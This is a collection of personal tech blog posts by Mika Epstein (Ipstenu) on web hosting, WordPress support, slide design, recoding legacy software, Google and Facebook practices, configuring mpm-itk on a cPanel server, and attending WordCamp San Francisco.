You know the more power means more responsibility line? The expectation is that I’m going to manage it. If I can’t do that, then maybe I should look at Managed Hosting… but that’s another post. The managing of a VPS is a hassle. I’ve been in tears rebuilding things at 2am more than once, because I get in over my head.
**So… that’s it?**
Of course not. But as with all things, nothing is an absolute here. When you get beyond Shared Hosting and into what’s next, you open a door for a wide range of possibilities. And with more possibilities you have a Seussian range of options. Go on beyond Zebra and find what fits right for you.
**Categories:** How It Is
**Tags:** administration, hosting
---
### [Don't Say WordPress](https://halfelf.org/2013/dont-say-wp/)
**Published:** December 16, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes it's WordPress, sometimes it's not. And sometimes saying "WordPress" blinds everyone to the real problems.
**Content:**
This time I’m absolutely 100% serious. Yes, I can be sarcastic and humorous when I talk about WP, but in this case, I’m being honest, and I promise you serious. I work for DreamHost as a WordPress Guru. I’ve been training people, and teaching them one at a time, and in doing so, confirmed a bias I’ve had for years: Tech Support goes blind sometimes.
I don’t think this is really their fault. They have to handle 60 to 100 tickets a day about everything from “How do I reset passwords?” to “My Database is speaking in R’lyehian. HALP!” In order to get through that volume, they look for the key words, the important ones that tell them that *this* is the problem. And one of those keywords is “WordPress.”
This is not great, because sometimes the problem *isn’t* WordPress. Like a PHP isn’t running, or the DB is missing, or a hundred other ‘It’s not WP’ problems. Naturally, that means a handful of tickets escalated to me aren’t WordPress at all, and I have to dig into it, and explain why.
Before my coworkers think I’m pointing figures or blaming them, I really don’t. It’s a volume thing, and it’s got to do with how the customer presents the error. If they tell you “My WordPress site is down, I’m getting an error 500 on all pages!” you think “Oh, it’s probably .htaccess or they’re using too many resources.” Those are the most common causes after all. After that, you start getting messy and into weird things like “PHP memory is set too high, causing WP to crash” (which I didn’t even know you could do to be honest until November). And sometimes it really takes someone who *knows* how WordPress works to put the pieces together and determine “Oh! This is it!”
However, hands down, when I’m working with Multisite and I see someone say “My wildcard subdomain isn’t working!” and the ‘error’ page they get is not a WordPress styled 404, I will tell them “*DO NOT* mention ‘WordPress’ or ‘Multisite’ to your host. Tell them this:” and here’s my copy/pasta:
> I’m trying to set up a wildcard subdomain, so anything.mydomain.com will pull the files from mydomain.com, however I’m having problems. I’m getting a server error instead of seeing the content on my site. Is there a trick to setting this up on this server?
Now some hosts will look and say “Oh well you’re using WordPress, that’s why.” and I want to kick them a little. No, that’s not why. When you go to a subdomain and get the *server* error (like subdomain not found) or worse a DNS error (like Google saying the domain doesn’t exist), then the problem is not, and cannot be WordPress.
That’s why it’s really important to present your error in the best way possible. The most accurate to the actual problem. Of course, if you have no idea, then you should just be honest and say what you did. If you really, truly, didn’t do anything, though, be prepared for someone to ask “Are you sure? You didn’t change a setting on the dashboard?” And sadly this is because a lot of people lie, a lot of people misrepresent the facts, and a lot of people play dumb. There is a very small percentage of people who will come back and say “You know, I may have done something, but I cannot remember what I did.” I like those people a lot. They’re my people. They admit they may have, but they can’t recall.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/11/23-wordpress_logo.png)WordPress FauxGo (yes, this is the FAKE logo)Sadly all those people who aren’t quite as truthful screw it up for the rest of you, which is why there’s a time and a place to point at WordPress, and there’s a time and place to not do so.
How do you know the difference? Well you have to think. Is what you’re trying to do something you do with a plugin or theme? Did it happen after you made a change to your site’s settings? It’s probably WordPress. However if you’re trying to do something outside of WordPress, like domain mapping or wildcard subdomains or creating a database? Then don’t mention WordPress.
It’s counter-intuitive, I know. I’m telling you to be honest and say what you did or what you’re doing, but at the same time I’m telling you to leave out what *might* be important information. And that’s why you have to think. Is the error a *WordPress* error? Learning that takes a long time, so for a lot of rookies, the easier question is “Does the error happen without WordPress involved?”
Let’s go back to that subdomain thing. Turn off Multisite. Does the same problem happen? *Probably* not WordPress. So don’t bring it up just yet. Now if they ask “What are you trying to do?” or why, tell them. “I’m trying to setup wildcard subdomains so I can use it with WordPress, but at this point, I’m not even getting a WordPress error.”
Of course, it’s not always that simple. Like what if I told you that, on Multisite, not getting the CSS to display on subsites could be a server error? That’s when you get to say:
> My complex .htaccess rules don’t seem to be honored by my server. Is `AllowOverride` set to either `All` or `Options All` in the httpd.conf (or equivalent) file?
Notice how I didn’t mention WordPress? This is because I know that if my .htaccess rules are right, the problem’s not me. Unless of course my host blocks that on purpose because they don’t want to let me run Multisite on a shared box.
It’s not cut and dried, it’s not ‘If this, then that!’ But what it is, is education and thinking. As long as you can learn what is and is not WP, you’re on your way to knowing when you ask about WordPress problems, and when you ask about server problems.
**Categories:** How To
**Tags:** essay, hosting, troubleshooting, wordpress
---
### [Presentations Are Not Transcripts](https://halfelf.org/2013/presentations-transcripts/)
**Published:** December 11, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Why I write slides the way I do. They're not ever going to be transcripts ever again.
**Content:**
After my review of [SEO Slides (they’re pie, not cake)](https://halfelf.org/2013/seo-slides-pie/ "SEO Slides Is A Pie"), someone remarked to me that my slide decks are useless because I don’t put all the information on the slides. They pointed out, correctly, that my slides are image heavy with, at most, a couple lines of text (with one notable exception: WordCamp Chicago 2012), except my ‘Who am I?’ slide. I told them “Yes, this is true.” and then Tweeted about it.
My belief (and this is shared by a lot of people) is that slides should *accent* and *relate* to my talk. If you just need to read the slides to get all the information, why am I there? Coming to a live presentation to just watch someone reading off slides seems counter intuitive to me. Heck. I could go pester my coworker and get the studies showing that when you have a slide with a lot of text, people read the text, then look at you. That means that they *aren’t listening* until they read, and if, when they’re done, they come to find you’re just reading what they read? They’re probably bored.
When I give a presentation, it’s usually on a topic I’ve written about before. Actually, that’s generally how I decide what I want to talk about! I picked “Don’t use WordPress Multisite” for WordCamp SF 2013 because it is still, to this day, the most popular post on my site. And it’s my most popular presentation. Some may ask “Why would you give a presentation on something I could read?”
People learn in different ways. I, personally, suck at learning from videos. However I learn well from presentations in person, where someone talks to the room, pays attention to our energy, and teaches, using the slides as an emphasis. I also learn well from a written post. Finally, I learn *best* by doing things. So for me, if I’m blowing up a site, it means I’m learning in a speed unparalleled. There’s a converse to this, and if I hit a blocker were I *can’t* do something, I get really upset.
What does this have to do with slides and why mine are mostly pretty pictures with a sentence for emphasis? I don’t write my slides to be a transcript because I’m going to write a much longer blog post on the topic, with the same pictures probably, if I haven’t already. So for the person who wants to read the content, I’ll have you covered. And for the person who wants to be inspired by looking at slides? Well I have that. Finally for the person who wants to watch a video, WordCamp does that for me, thankfully.
This is not a perfect system, of course. Like I said, people learn in different ways, so there’s probably someone out there who loves slideshows of text on pictures who is grumpy. They probably also like infographics. Which I don’t. You see a trend here? I don’t like getting my information from pictures. Because of that I suck at writing them, so I just don’t.
**Categories:** How It Is, How To
**Tags:** essay, social media, support
---
### [Change Your Code](https://halfelf.org/2013/change-your-code/)
**Published:** November 20, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Ponderings of change, technology, and should I recode a system.
**Content:**
**“Should I Recode?”**
A piece of spam comment made me think about this, recently. The spam was along the lines of “My developer wants me to switch from .NET to PHP but….” I deleted it at that point, but it made me think about my father. My father wrote some software called [Riskman](http://woody.com/riskman/), which is still being used today. And it’s written in Visual Basic.
I don’t know how familiar you are with that, but Visual Basic was written in 1991, around the time my younger brother was born. Sometime around the mid 90s, Dad took Riskman (DOS) and made it VB’d. I remember this as I was in high school and my father explained some of the theory of programing to me (the basic math part at least), and is part of why I took some computer classes in college.
But that was over twenty years ago, and VB 6 (the last version) was written in 1995.
**“You’ve Come A Long Way, Baby”**
When I was growing up, my grandmother Taffy ran her own business, and in the front office she had posters of the old Virginia Slims ads. I never asked her why. Among the many things Taffy did, however, she had a computer system at her company. This was crazy rare and crazy expensive at the time. In fact, it was so weird that when they went to get a loan for the computer server room, the bank asked “IBM who?”
But they persevered, got the money and the servers, and kept going until the early 1990s, when Taffy sold the company to Capezio, computers and all. In between, they had direct dial-up on Novatel phones, which I quickly mastered at a young age, in order than I could handle data entry and Taffy could make me breakfast. Taffy changed with the times. She moved forward as it was needed, and was ahead of the curve in some things.
**The Only Constant is Change**
If you didn’t see Jen Mylo’s keynote speech at WordCamp Portland, check it out.
Websites change. Design styles change. What’s ‘cool’ changes. The logical extension? Code changes.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/10/Neon_sign_-CHANGE-.jpg)It’s nearly 2014 and my father is still coding in VB 6. I had to help scrounge him up a copy of it with a license when he had to reinstall it on his new laptop. It was monumental. At the time, I asked him why he didn’t upgrade to .NET and he replied that he’d have to recode everything. This means mastering a new programing style and possibly language. My father’s in his 60s and he’s gotten a little curmudgeony about this stuff.
But at the same time I pointed out a horrible fact. One day Microsoft was going to release an operating system that didn’t work with old VB apps. Sure, an executable is an executable, but one day that old EXE won’t work right. Worse, you look like you’re not keeping up with the times, that you’re not adapting to the changing landscape, and for a risk analytics programmer, this may be critical.
**Code Changes**
Perhaps ironically, Dad asked me about what he’d have to do to make his app work on an iPad, and we discussed data storage, the cloud, and how to keep data in sync between devices. I showed him Byword, which stores my data and downloads it locally when I need it to. He started to look to the future of how people will use his program. They’re not just sitting in cubicles anymore, they’re in the field wanting to update stats on the fly and be able to communicate, then and there, the risks.
He knows coding it all up for iOS is monumental. Unlike .NET, there’s no vaguely similar comfort level to the new language. This is a massive undertaking, and it brings up the question of if he should learn it, hire an expert, or get a new partner. For 20 years, this has been a one-man shop with the code, and bringing in someone new is a major undertaking.
My first ‘big’ WordPress plugin sucks. I love Disabler, but I want to sit and recode it with classes and singletons and using the options table properly. It’s a massive undertaking, and I’ve been putting it off for a long time. No reason other than it’s hard. If more people used the plugin, I’d probably do it now because there would be a driving need. In that way, I’m like my Dad. I don’t want to learn all the things I need to do what I’d have to do to fix it, and it’s not *broken* so why bother? And like my Dad, I do consider the future, where it will take me, and what that all implies.
**Should you change your code?**
Changing your code to improve it to meet the current standards is not a requirement for all of us. As an idealistic goal, yes, we should all strive for it, but realistically we are a limited resource. Should you totally change all your code from VB 6 to .NET? One day, maybe, if that’s where your clientele go, yes. At the same time, even if you choose *not* to change your code, you should keep an open mind. The future comes at you pretty damn fast, and sticking your head in the sand just because it works today will end badly.
You should change. You should grow, change, learn, expand, and improve. As we like to say here in Open Source “Release and iterate.” Don’t settle, but also don’t change needlessly.
The best changes are the ones you don’t notice because they feel like they’ve been there all along.
**Categories:** How It Is
**Tags:** coding, design, essay
---
### [Privacy and Evil and Money](https://halfelf.org/2013/privacy-and-evil-and-money/)
**Published:** October 11, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** This is somewhat of a rant about something new Google did that doesn't please me. Opt-Out ad endorsements.
**Content:**
Google likes to say ‘You can make money without doing evil.’ It’s right in their [Company Philosophy](http://www.google.com/about/company/philosophy/).
I’ve never bought into that. I mean, I agree you can do it without being evil, but I think that evil is highly subjective and what *I* feel is evil may not be what they do. Case in point would be endorsements.
Maybe you’ve noticed when you Google search, sometimes your friends’ recommendations pop-up in the results. Like I searched for fabric stores and got results from my BFF, Andrea. That was amusing, but also disturbing. See, there’s a big difference between search results, and results in ads.
Let’s step back. Here’s what Google says about their ‘[endorsement](https://plus.google.com/settings/endorsements?hl=en)‘ system:
> Google makes it easy for you to get great recommendations from your friends. For example, when you visit the Google Play music store, you may see that a friend has +1’d a new album by your favorite artist. When you search for a restaurant, you may see an ad including a 5-star review by another friend.
That sounds pretty cool, right? My friends, people I follow on G+, contribute to my results. That’s sensible, since one presumes I share some interests with my friends. But then you scroll down the page and see a section about endorsements in ads.
> This setting below allows you to limit the use of your name and photo in shared endorsements in ads. It applies only to actions that Google displays within ads; the “Summertime Spas” example above shows a shared endorsement appearing in an ad on Google Search. Changing this setting does not impact how your name and photo might look in a shared endorsement that is not in an ad — for example, when you share a music recommendation that is displayed in the Play Store. You can limit the visibility of activity outside of ads by deleting the activity or changing its visibility settings.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/10/google_money.gif)Let me get this straight. People pay for ads on Google, so Google is making money. People click on the ads, so the advertiser makes money. My ‘endorsements’ are posted, without my permission, to drive traffic to those ads to make people money. I am not paid for this service.
Thanks, Google. Guess what I just unchecked?
Look, if you want to use me in search results, that’s one thing. Using me in ads is another. If a company took a comment I made in email and used it on their site to say “The Half-Elf loves our cocoa!” without asking me first, I’d be upset. I don’t ever expect to be compensated for my endorsements, but I do expect to opt-in to them. Here’s a real world example. I went to a spa and they had a ‘fill out this card to tell us what you think’ thing at the end. At the bottom was a box. “Check here if we can use your comments, or excerpts there of, in our advertising.” I thought about it, looked at what I wrote, and checked the box.
But they let me opt in. They asked me for my permission to use me to make more money than the money I gave them for services rendered. I have no idea if they did use what I said, but I liked that they asked (and I liked the services) so I went back a couple times before moving across the country.
I wish Google understood that sort of respect.
Have a read of their [updated TOS](https://www.google.com/intl/en/policies/terms/changes/) just for fun.
**Categories:** How It Is
**Tags:** advertising, google, privacy, rant
---
### [Facebook: Scam Artist](https://halfelf.org/2013/facebook-scam-artist/)
**Published:** November 18, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Facebook stacks the deck against you if you're trying to communicate with other people, which certainly seems odd for a social network.
**Content:**
Stop me if you’ve heard this one…
“Gain 500 likes! Just use our service!” or maybe “Click here to read how to get 1000 followers!
If you’re like me, you hear that, laugh at the silly scammers, delete/block as spam, and move on.
But … what about when you get *this* in your notifications:

That’s not spam, it’s not a scam\*, and it’s terrifying to consider. Facebook is sending me, as a ‘page’ owner, a suggestion that the only way to increase my likes (i.e. my presence on Facebook), is to pay them.
### Greed is Good
I need to stop and tell you that I have absolutely no problem paying for things. Facebook provides a free service, and if they want me to pay them to promote my wares above and beyond the word-of-mouth business I’m doing, that’s awesome! Same with Twitter. These are business, and I’m totally copacetic, no, I’m totally in favor of paying them for above-and-beyond. Do I, as a user, like those ads? Generally no. But do I, as a business, appreciate them? Hell yes!
And there in is the line between the goals. As a user, my goal is to do what I want without a hassle. As a business, my goal is to get users to interact with me to convert them into users on *my* site, and thus profit like an Underpants Gnome. The reality is, of course, not that simple, but as we like to say, there ain’t no such thing as a free lunch. The dichotomy of social media is never more apparent then when I want to put on my business hat and try and evaluate the usefulness of any marketing campaign.
### Blackmail is Bad
There is, however, a major difference between being “greedy” (asking people to pay extra for extra things) and what Facebook is actually doing. You see, Facebook *intentionally* throttles you. [Facebook stops a large percentage of your traffic from reaching the people you follow.](https://halfelf.org/2012/social-throttling/ "Social Throttling") I wrote that a year ago, and guess what? It’s still true. So what they’ve done is create a false economy. This is not like virtual gold farming, where I pay someone to mine for junk on a game, and turn around and sell it at a higher price. That actually makes a certain amount of sense in an open economy. Instead, Facebook is creating a situation where your hard work is absolutely meaningless, and the only way to get what you want is to pay.
At least with Gold Farming, if I wanted to put in the time and effort, I could see the same results.
Director of Product Marketing for Facebook, Brian Boland, told TechCrunch back in 2012 that their behavior of only letting 12% of people who follow your business see your post isn’t bad, because “… there are pieces of content you create that are interesting, and there’s some that are not.” ([Your Average Facebook Post Only Reaches 12% Of Your Friends](http://techcrunch.com/2012/02/29/facebook-post-reach-16-friends/) – TechCrunch, Feb 29, 2012.) I don’t know about you, but that doesn’t make me happy. Someone else is deciding if something I said was interesting or not?
### Viral is Voted On
The way we expect social media to work is like this: I make a post, people who follow me like it and repost it via likes or retweets, so people who follow *them* see it, read it, and the circle continues. So to many of us, it’s outright galling to hear that Facebook has *always* decided what is and isn’t ‘interesting’ and promoted your crap accordingly. Essentially they’re using Edgerank to decide if your content is worth sharing. The catch-22 of course is there is a practical limit to how organically you can increase your Edgerank score. That means to get higher, you have to pay, and now we’re back to blackmail.
Now I, as a user, can change my feed to sort by ‘recent posts’ and not ‘most popular.’ And I, as a business, can write ‘more engaging’ posts and get my engagement (this is a technical FB term) up. I can get a pretty high engagement by posting at the right target audiences, and using catchy titles/content (which I do anyway). But it’s unclear, to say the least, that these things are happening! Had I not read the first article about the 12%, I wouldn’t have known to look for the others and see this was always the case and how to ‘fix it.’
By the way, I don’t think requiring a user to make a change is a fix, I think that’s a cop out. Also that change *resets* every time you log in, or reopen your browser. Just like the chat setting I turn off every other week. Clearly Facebook ‘knows best.’
### Expectations are Engineered
This reminds me of a story my friend Yesenia Sotelo (of [SmartCause Digital](http://www.smartcausedigital.com/) told me: [Why Charity Engine Quit Facebook](http://www.charityengine.com/news/blogs/why-we-quit-facebook-full-story). When I read that article, I was amazed that they had ever treated Facebook like an email list. You see, what they used to do was send a message directly their followers about news and services, using Facebook messages as their page. After all, people opt in to liking your page, so only people who wanted to communicate with you would do that, right? Nope!
> We want you to connect with your fans in the most effective way possible. That’s why as of September 30 you’ll no longer be able to send updates to fans using Facebook Messages. The best way to make sure your content is seen is to post it on your Wall so people see your updates in their news feed.
Interesting how that’s not ‘effective’ isn’t it? That’s right up there next to Facebook telling me they know what content of mine is interesting *before* any human gets to interact. I don’t believe their AI is that smart. Popularity is not just math, it’s got to do with the pulse of reality as well as the flavor of the day. Release your product on the same day as a natural disaster? Poor timing, and you probably won’t be as ‘interesting’ as the time you release your new Dodgers themed product the day they clinch a playoff berth. Those aren’t things you can bank on, of course.
### Truth is Terrible
The truth is this: Trust no one.
Facebook’s bottom line is not yours. Neither is Google’s or Twitter’s. If, for now, your goals align with theirs, then great. But remember you’re not their audience, you’re their prospective customer, and you get what you pay for with them.
**Categories:** How It Works
**Tags:** essay, facebook
---
### [Polyphemus Problem Pans Out](https://halfelf.org/2013/polyphemus-problem-pans-out/)
**Published:** October 23, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Solving a problem that nobody could, when nobody was bothering me, and nobody owned my files.
**Content:**
I use PHP in DSO mode, which is (woefully) insecure because it lives to save files as ‘nobody.’ Now, previously I found a ‘fix’ to this with WordPress, by [tweaking some file permissions and a define in my wp-config.php file](https://halfelf.org/2011/wordpress-dso-and-permissions/ "WordPress, DSO and Permissions"), and all was well. But if you know me, you know I’m polyamorus with my CMS, and WordPress ain’t the only game in town.
I love, love, love [Zenphoto](http://zenphoto.org) for a gallery that is larger than my thumbdrive. But I’ve been having an annoyance that acrylian and sbillard have been really patient with me ranting about for a while now. See, when you upgrade Zenphoto, it narked at me that I had bad permissions:

Oh how I cried. My work-around became to make those 777, upgrade, and change ’em back to 755, because that *did* work for nobody, but when Zenphoto moved the config file and had it be writable by the upgrader, I had to make that owned by nobody and the slippery slope was happening. This was not good. I brought it up again, but we all agreed this was very much a me-problem.
## A new PHP
Now my choices were to deal with it, or change to a new PHP. Well there are problems with that, and neither suPHP nor FastCGI met my needs for speed and memory consumption. Also I tend to get error 500s when I try any of them on this server, which means I would have to do a total overhaul which I don’t have time for. Instead, I decided to look into why mod\_php (aka DSO) likes to have nobody own this stuff. In my research, I stumbled across mod\_ruid2, which is included in EasyApache.
In reading up on [cPanel’s notes on mod\_ruid2](http://docs.cpanel.net/twiki/bin/view/EasyApache/Apache/ModRuid), I hit the incompatibilities list and winced. Right there near the top was **MemCache**. When I [switched over to ZendOptimizer](https://halfelf.org/2013/trading-apc-for-zend/ "Trading APC for Zend"), I also switched to MemCache, and I really was not ready to give it up and go to XCache. Worse? It’s not compatible with `mod_security`. Epic fail. I absolutely cannot use this. Back to the drawing board until cPanel figures out a way to force it to work with those.
More searching introduced me to [MPM-itk](http://mpm-itk.sesse.net/). This was something categorically *not* supported by cPanel (they backed mod\_ruid2), but they still had some directions on how to do this in their forums: [Using MPM ITK as a Custom Opt Module](http://forums.cpanel.net/f5/using-mpm-itk-custom-opt-module-225042.html)
I need to stress two very important things here:
**1) This is **NOT** supported by cPanel.**
They do include it in their [Custom Mods](http://docs.cpanel.net/twiki/bin/view/EasyApache3/CustomMods), but they don’t support it’s use, and won’t include it by default because of issue number 2 (see below). Mind you, I’m no stranger to unsupported installs. I have ImageMagick in a higher version than they do, I installed wp-cli, and I have Pagespeed. So I pretty much run around always upgrading what I need. I am smarter than I used to be, and I have all this documented in a Word Doc called “Custom Installs on my server” which lives on Dropbox, for emergencies. Everything is written with code examples and as much copy/pasta as I can.
**2) There is a security risk with mpm-itk because it runs as root.**
I will quote the author:
> Since mpm-itk has to be able to setuid(), *it runs as root* (although restricted with POSIX capabilities and seccomp v2 where possible) until the request is parsed and the vhost determined. This means that *any code execution hole before the request is parsed will be a potential root security hole*. (The most likely place is probably in mod\_ssl.) This is not likely to change in the near future, as socket passing, the most likely alternative solution, is very hard to get to work properly in a number of common use cases (e.g. SSL).
Obviously this is a choice you need to make yourself. Perhaps ironically, by using setuid(), you’re protected from [users cross-contaminating](http://www.hackthissite.org/articles/read/951) but this is not really a perfect fix for everyone. And frankly, this is not my preferred long term fix. My long term fix is this: **Build a brand new server, from scratch, with FastCGI, and move sites over one at a time, testing as I go.** That’s not today. Instead, it took me about an hour to figure this stuff out and install. And it worked out of the box. Well, except for one thing which I’ll get to.
## Installing mpm-itk
These directions are pretty easy for cPanel/WHM. You install:
```
cd ~/tmp
wget http://docs.cpanel.net/twiki/pub/EasyApache3/CustomMods/MPMitk.tar.gz
tar -C /var/cpanel/easy/apache/custom_opt_mods -xzf MPMitk.tar.gz
```
Then you run EasyApache (`/scripts/easyapache`) and select mpm-itk from the Exhaustive Options list for PHP (it will give you a warning about the dangers, Will Robinson). Once the update is done, make sure all your normal settings are back in place, if you have anything special, and now you have to actually tell every virtual host what ID to use.
```
mkdir -p /usr/local/apache/conf/userdata/std/2/username
echo "AssignUserID username username" >> /usr/local/apache/conf/userdata/std/2/username/mpm.conf
/scripts/ensure_vhost_includes --user=username
```
Replace ‘username’ with your user name (you saw that coming, right?) and off you go. Of course, I had 10 users, so instead I scripted it:
```
#!/bin/bash
for user in `ls /var/cpanel/users`; do
mkdir -p /usr/local/apache/conf/userdata/std/2/${user}
echo "AssignUserID ${user} ${user}" >> /usr/local/apache/conf/userdata/std/2/${user}/mpm.conf
/scripts/ensure_vhost_includes --user=${user}
done
```
Huzzah!
## Cleanup, Aisle PHP
Once I had it installed, and it really was painless, I tested uploads on WordPress and everything worked. But I remembered what I had done back in 2011:
> The last step I had was chowning the folder for uploads and 2011 to nobody:nobody.
This time I did it in reverse and chowned everything back to my user IDs. I did this for all sites, for all users, and all cache folders. Then I decided to look for all files and folders that were 777 (which I do at work when scanning for hacks) just in case I’d been stupid. I try to not be, but…
```
find . -type d -perm 0777
```
That listed all directories, and I was appalled to find some! That’s right. Up until recently, there were folders permission’d as 777 on my server. I bow my head in shame and embarrassment. Please forgive me, as I run this command to fix that:
```
find . -type d -perm 777 -print -exec chmod 755 {} \;
```
I also ran `find . -group nobody` to see if I had anything left over, and it happily came up empty. Then I went to double check everything worked. When I’d tested before, I did it on my single install of WP, my wiki, my gallery, another blog, and it worked. So I came here to post and I couldn’t upload images. Horror! Shock! I decided to scan my error log, and right away got a warning on cPanel: Out of disk quota.
Well that was an easy fix!
Now everything’s owned by the user it runs for, and nobody owns anything. Everything is secure (except for that ‘running setuid as root for a millisecond’ issue, and yes I’m keeping tabs on that), and everyone is happy. Especially me.
Bonus Internet points if you get the joke with the title.
**Categories:** How To
**Tags:** administration, php, security, servers
---
### [What To Expect When You're Expecting to Go to WCSF](https://halfelf.org/2014/expect-wcsf/)
**Published:** September 10, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** So you're coming to WordCamp SF? Here's what I've learned in two years!
**Content:**
So [WordCamp San Francisco is in a month and a half](http://2014.sf.wordcamp.org/) and you’re raring to go? I’ve done two WordCamp San Francisco’s, so I’m by no means an expert of them, but I’ve been to the Bay Area enough to know some of the more annoying aspects of it. Here are my top considerations for the camp of camps.
**Airport delays**
I’m going to say this. SFO sucks. It just does. I’ve only flown once without significant delays, and that was 2012 where they had a ‘surprisingly mild summer.’ The rest of the time, consider flying into Oakland. You can still take the Bart. The reason SFO sucks, in general, is the cloud coverage. The airport is right by the water, and the weather caused by the bay is nuts. Speaking of ….
**Weather**
Pack for cool weather. “Summer” in the Bay Area is **not** like summer in pretty much the rest of California. It’s a micro-climate, hemmed in by the bay and the mountains, which means it’s cool and a little damp. Unless you’re used to it, pack long pants and light jackets because the damp will do a number on you. Spring or fall weight (light sweatshirts) versus summer weight is smart. Lots of people bring shawls, if you’re into that, and the trick is light layers. Everyone from outside the US, I’m really sorry, it’s not ‘summer’ at all. I will note than in 2013, it was actually warm, so having a light jacket that was easy to tuck away was my best friend.
October isn’t going to be cold in San Francisco, but it won’t be warm either. That light jacket will be your friend.
**Comfortable shoes**
Speaking about clothes, remember your feet! You *will* walk. Bring comfy shoes. In fact, bring two pair. I pack sneakers, comfy ‘talking’ shoes, and a pair of flip-flops for the inevitable moment when I can’t fit my feet back in my shoes. You will also be standing and talking a lot. If you, like me, have a knee that likes to flip you the bird, keep that in mind and have no shame in telling people you have to sit down.
**Transportation woes**
There are six taxis in SF and you probably know the way better than they do thanks to Google Maps. No, I kid. But really, taxis are rare. A lot of people use [Uber](https://www.uber.com/cities/san-francisco) or [Lyft](http://www.lyft.me/) to handle booking cars for quick transport, but even with that, people use other options. It’s kind of like Gypsy cabs, if you’re from the East, only a little less sketchy. Most of us use the BART, though. It comes right from the airport (both Oakland and SFO), and you can get a Clipper Pass to use both MUNI (which goes from downtown to where WCSF if held) and traditional BART. If you plan on coming back to SF ever, it’s a decent investment.
**Walking through many classes of areas quickly**
You can go from upscale to seedy in about a block, so if you’ve never walked through the city before, please go with someone you know already, or suck up the price of a car ride. Can you walk from your hotel to WCSF? Probably. Do you want to? Probably not by yourself. This is not to say that San Francisco is particularly dangerous, but it’s a big city. There are crazy people and bad people in every major city in the world. Be aware of this. I try to never be alone on the streets at night in any city, just as a rule, unless I know the city really well. Even so, I lived in Chicago for 15 years, and I never once forgot that I was a woman, and it just plain wasn’t safe to walk though, oh, Cabrini Green by myself at night. If you don’t know what is and is not a safe part of town, don’t go alone, or don’t go at all.
**Computers**
[](http://bangordailynews.com/2011/05/26/uncategorized/1100-students-converge-on-umaine-for-laptop-conference/)Unless you’re speaking or doing the Happiness Bar and, thus, need the laptop, leave it at home. Bring your tablet to take notes on or use a notebook. There are usually some Moleskin and pen swag lying around, so grab one if you forgot yours and take your notes/reminders there. If you bring your computer, you will be tempted to log in, be social there, and do work. You just came to a massive, in person, WordCamp. Look up from the screen once in a while. I promise, WordPress is people.
**Swag**
Everyone gives away swag at WordCamps. There are the high-level sponsors who have tables, and they’ve usually got t-shirts, pins, pens, candy, postcards (with information), water bottles, and all sorts of weird stuff. You can get swag from everyone, even your competitors ([who really are your coopetition, right?](http://www.carriedils.com/wordpress-community-is-not-your-competition/)). I’m fond of how soft the WPEngine shirts are. You will get tons of swag. Leave room in your luggage for this stuff so you can get home. Also you’ll want to bring an empty bag with you to the event to tote stuff around. Unless, like me, you know how to make bags out of swag pins and t-shirts, you want that extra bag.
**Hugs (set boundaries fast!)**
I need to preface this with “The way I hug you is not directly proportional to how I feel about you.” I hug like I follow people on Twitter. Sometimes I do, sometimes I don’t, and it’s pretty fluid based on my mood.
It’s okay not to hug! A lot of us are huggers, though, especially because some people are considered family. No, I’m not related to Amy or Andrea (or Andrea) or Courtney or Jen, but we’re good friends and they’re people I will likely hug a lot. Especially right before they go on stage, or right after, or when we first see each other, or when we’re leaving for the day, or when we check out of hotels… Then there are people like Otto and Jaquith and Nacin and Koop who almost always get at least one hug hello.
There are also a lot of people I bro-hug. You know the one, right? Where you clasp a hand and keep it between you as you one-arm hug?
[](https://halfelf.org/2014/expect-wcsf/bro-hug/)
This doesn’t mean I like you less. I’ve hugged my wife this way following a performance. It may mean I’m feeling overwhelmed and need not to hug someone. I may have spilled my drink on myself and not want to get you wet. Maybe I smell bad and don’t want you to know. Point is, different people have different huggy rules depending on their mood. Respect that. Also it’s okay to hold up your hands and so ‘No, bro, no hugs.’ I went to WordCamp Portland while getting over a nasty flu bug, and was on a no-hug trip. People understood.
**People talking like they know you (and they probably do)**
They do know you. Or your work. Or your avatar. Suffice to say, it’s weird the first time it happens, and it’s weird every other time. Even Otto has remarked to me that he finds it weird. I mean, we’re just people, we’re not celebrities, right? You’d be surprised how other people feel. It’s still weird to me, but recently someone said “Where do I know you from?” and I smiled and replied “Probably the Internet.” He cracked up and we exchanged nicknames which was when he realized he’d seen me on WordPress TV. People know you, they know your avatar, and they’ll want to treat you a little different than ‘normal’ because to them, you’re kind of important. Say ‘you’re welcome’ when they thank you, and if they have something to give you (like more of those awesome 10up moleskins?) say ‘thank you’ and you will be a great person.
**Mobbing and/or Monopolizing People**
So many people do this, I feel bad for Matt Mullenweg (whom I know expects this and is probably okay with it). A lot of people want to meet Matt and talk shop. Respect the fact that everyone wants his time, and try not to take up more than five minutes. Maximum. If there are other people hovering around you looking anxious, ask him what a good way would be to get in touch and talk longer later.
As for other people… I was at a WordCamp where I was chatting with a friend and noticed someone standing to the side looking edgy. I smiled at her, stepped to open up the chat circle, and asked if she wanted to join our chat. She actually wanted to thank me, personally, for something. As we talked, a couple more people queued up. As the first woman kept on talking, I finally said “You know, I’d love to talk to you more about this, but we seem to have made a line. How about we all sit together and lunch and we can all chat?” She huffed, but agreed, and the next person smiled at me and said she didn’t want to monopolize, but did I know of a good plugin for something. I did, she thanked me, and left. That set the tone for the next few people. They realized they weren’t the only person important to me in that moment, and they shared me.
So the take away here? Share the person you’re mobbing. Take no more than 3 minutes. If it takes more than that, you should offer to buy them lunch/coffee/dinner and have a private chat. After all, they’re here to learn too!

**Afterparty Earplugs**
Sensitive ears? Bring ’em. The afterparty is a party. It’s loud, and it may not be for you. But know that earplugs are probably a good idea. Also it’s *NOT* a dinner, so after camp breaks up, get with a group of people and go eat. Go to your hotel and nap. Then come party. We’ll still be there. They usually have to kick us out.
**Losing your voice**
I come out of WCSF sounding like Angie Harmon, and with a really sore throat, every single time. I talk to a lot of people, I end up shouting to be heard at dinner/parties. I am far more social at at WordCamp than I am in my normal life, where I like to be pretty quiet, so I almost always come back a little Kathleen Turner. So I guess there could be worse fates!
